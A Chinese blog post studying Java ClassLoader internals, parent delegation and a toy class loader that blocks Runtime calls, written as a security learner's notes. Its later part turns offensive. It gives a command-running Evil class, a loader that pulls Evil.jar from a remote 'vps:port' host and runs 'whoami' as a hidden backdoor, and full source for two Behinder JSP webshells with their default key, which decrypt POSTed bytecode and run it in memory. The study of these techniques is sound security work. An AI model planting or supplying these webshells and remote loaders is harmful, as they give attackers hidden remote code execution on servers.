以前学习Java反序列化的过程中多多少少接触了一些Java基础知识点,但自己并未系统性的学习过,借此机会来将Java基础巩固一下,也是对Java这门语言有更深刻的认识,二是更快上手Java安全的其它知识

ClassLoder初步感知

众所周知,Java是依赖JVM的跨平台语言,其屏蔽了底层操作系统的差异,我们有时看到的.class文件就是被预先编译好的字节码文件,只能被JVM解释编译

当Java程序运行时,JVM并不会一次性加载所有类,而是按需加载,因此java.lang.ClassLoader就充当了一个中间人,加载类的任务由它完成;接着再调用JVM的native方法,从而创建一个 java.lang.Class 实例

ClassLoader类有如下核心方法:

  1. loadClass(加载指定的Java类)
  2. findClass(查找指定的Java类)
  3. findLoadedClass(查找JVM已经加载过的类)
  4. defineClass(定义一个Java类)
  5. resolveClass(链接指定的Java类)

ClassLoder类加载流程

主要是两种加载方式,当然加载后都要配合反射去调用输出

  • Class.forName(),这是 java.lang.Class 类的静态方法

加载时立即初始化类(如果有静态代码块,会立即执行)

1
2
3
4
5
6
7
8
9
package org.example;

public class Main {
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName("org.example.Test");
Object obj = clazz.getDeclaredConstructor().newInstance();
clazz.getMethod("testoutput").invoke(obj);
}
}
  • ClassLoader.loadClass()

加载类但不会初始化,是 java.lang.ClassLoader 类的实例方法

1
2
3
4
5
6
7
8
9
10
11
package org.example;

public class Main {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = Main.class.getClassLoader();
Class<?> clazz = classLoader.loadClass("org.example.Test");

Object obj = clazz.getDeclaredConstructor().newInstance();
clazz.getMethod("testoutput").invoke(obj);
}
}

不管那种加载方式最终都会先决定用什么类加载器来加载,跟进Class.forName() 可以看到

image-20250815004511317

先列出JVM的核心类加载器

  1. Bootstrap ClassLoader(引导类加载器)
  2. Extension ClassLoader(扩展类加载器)
  3. App ClassLoader(系统类加载器)

其中App ClassLoader是默认类加载器,这里会根据双亲委派模型:委派给其父加载器去尝试加载这个类,只有在父加载器无法加载该类时,子加载器才会尝试自己去加载

⚠ 被Bootstrap ClassLoader类加载器所加载的类的ClassLoader会返回null

/java/lang/ClassLoader.java:401

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// 1. 首先,检查类是否已经加载
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
// 2. 委托给父类加载器
if (parent != null) {
c = parent.loadClass(name, false);
} else {
// 3. 委托给 Bootstrap ClassLoader
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// 如果找不到类,则抛出 ClassNotFoundException
// from the non-null parent class loader
}

if (c == null) {
// 如果仍然没有找到,则按顺序调用 findClass
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);

// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}

其实源代码中的注释加上ClassLoader的几个核心方法已经把加载流程的思路梳理的很清楚了,默认实现按以下顺序搜索类:

  1. 调用findLoadedClass(String)检查类是否已加载,如果是则JVM返回已加载的类对象
  2. 利用双亲委派模型机制去尝试加载
  3. 若父加载器无法加载,则调用自身的findClass(String)去尝试加载
  4. 找到了对应的类字节码,则调用defineClass方法去JVM中注册该类

需要解释一下的是Bootstrap ClassLoader类加载器用于加载java.* 核心类(如 java.lang.String),而最后自然只能由App ClassLoader去调用 findClass() 自己加载我们自定义的类

image-20250815012042131

以上的这种双亲委派机制可以确保不会重复加载类,避免JVM可能会加载我们自己的版本而不是JDK的版本,导致整个系统行为异常

自定义ClassLoader

我到底还是不懂开发的,一开始会有些许认为自定义类加载器看起来和默认类加载器做同样的事情,后面才发现是自己太狭隘了,ClassLoader的一些方法本身就是抽象类,可以让开发者去定义自己的规则来做一些限制和绕过,主要方式就是通过重写findClass()方法去实现逻辑

最简单的例子就是如果目标字节码文件不在classpath下,那么需要去自定义目录下找到该文件,通过重写findClass()实现;我们换一个例子,这里我们假设现在设计一个拦截,禁止加载的文件执行命令(简单查看是否包含java/lang/Runtime关键字)

最先想到的规则就是去findClass()添加拦截,如果存在则抛出异常,不走defineClass(),但是这样就完了吗?并非,还记得双亲委派模型吗?总是会先让父加载器去进行加载,显然此时我们自定义类加载器的父加载器是AppClassLoader

image-20250816142421897

该父加载器是可以通过自身findClass()找到并最终加载,注意⚠这里并没有用到自定义类加载器的findClass(),因此第二个规则是打破双亲委派模型,总是先尝试使用自定义类加载器去加载可能恶意字节码文件,如果找不到(例如,它是一个核心库的类)再委托给父加载器,当时我也想到这似乎彻底颠覆了这个模型机制,因此我们对于核心类还是走双亲委派,只针对应用类的审查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.example;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;

public class SecureClassLoader extends ClassLoader {
public SecureClassLoader(ClassLoader parent) {
super(parent);
}

@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
Class<?> c = findLoadedClass(name);
if (c != null) {
return c;
}
// 对核心类库,直接委托给父加载器
if (name.startsWith("java.") || name.startsWith("javax.")) {
return super.loadClass(name, resolve);
}

// 优先尝试自己加载
try {
c = findClass(name);
if (resolve) {
resolveClass(c);
}
return c;
} catch (ClassNotFoundException e) {}
// 委托给父加载器
return super.loadClass(name, resolve);
}
}

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
String resourcePath = name.replace('.', '/') + ".class";

try (InputStream is = getResourceAsStream(resourcePath)) {
if (is == null) {
throw new ClassNotFoundException("在 classpath 中未找到类: " + name);
}

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len;
while ((len = is.read(buffer)) != -1) {
baos.write(buffer, 0, len);
}
byte[] classData = baos.toByteArray();

if (containsForbiddenCode(classData)) {
throw new SecurityException("安全警告:类 " + name + " 包含禁止执行的代码");
}

return defineClass(name, classData, 0, classData.length);

} catch (IOException e) {
throw new ClassNotFoundException("加载类时发生IO错误: " + name, e);
}
}

private boolean containsForbiddenCode(byte[] classData) {
return new String(classData).contains("java/lang/Runtime");
}
}

image-20250816160125058

当然,这只是我临时想到的一个不成熟的例子,现实当中有更成熟的方案RASP来进行动态检测

URLClassLoader

URLClassLoader也是自定义类加载器的一种,为了方便加载远程资源而生,可以实现一个隐藏后门功能

恶意类

1
2
3
4
5
6
7
import java.io.IOException;

public class Evil {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}

将其打包Evil.jar

利用类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package org.example;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class Main {
public static void main(String[] args) throws Exception {
try {
String cmd = "whoami";
URL jarUrl = new URL("http://vps:port/Evil.jar");

try (URLClassLoader classLoader = new URLClassLoader(new URL[]{jarUrl})) {

Class<?> evilClass = classLoader.loadClass("Evil");
Method execMethod = evilClass.getMethod("exec", String.class);
Process process = (Process) execMethod.invoke(null, cmd);

StringBuilder output = new StringBuilder();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}

process.waitFor();
reader.close();

System.out.print(output.toString());
}

} catch (Exception e) {
System.err.println("执行出错:");
e.printStackTrace();
}
}
}

image-20250816180904305image-20250816180559156

注意查看是否是远程加载,如果你和我一样利用类和恶意类在同一个项目里,那么需要将classpath目录下的字节码文件删去

利用场景显而易见,webshell本身不执行命令,而是通过URLClassLoader加载恶意字节码文件到JVM内存中,这个过程显然是隐蔽的

JSP冰蝎WebShell

冰蝎大家再熟悉不过了,其中JSP木马的本质就是一个自定义的ClassLoader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>

<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}

public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>

<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b"; /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>

对于上半部分代码,直接将byte字节在内存中定义为一个Java类,形成无文件落地

下半部分,

  1. request.getReader().readLine()读取传入的加密后的POST数据,密钥存储到session中方便使用
  2. new sun.misc.BASE64Decoder().decodeBuffer()用于base64解码,c.doFinal()AES解密得到字节码
  3. new U(this.getClass().getClassLoader()).g()将字节码加载为类
  4. .newInstance().equals(pageContext)则是通过调用实例的方法进行最终命令执行

之后冰蝎的改进版本如下,逻辑大同小异

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
String k="e45e329feb5d925b";
//k="34192114c8d05df8";
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

}
return c.doFinal(decodebs);

}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容性
out.clear();
out=pageContext.pushBody();
*/
out.clear();
out=pageContext.pushBody();
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>

其中恶意类在net/rebeyond/behinder/payload以字节码的形式存在,可以具体了解

image-20250819004503362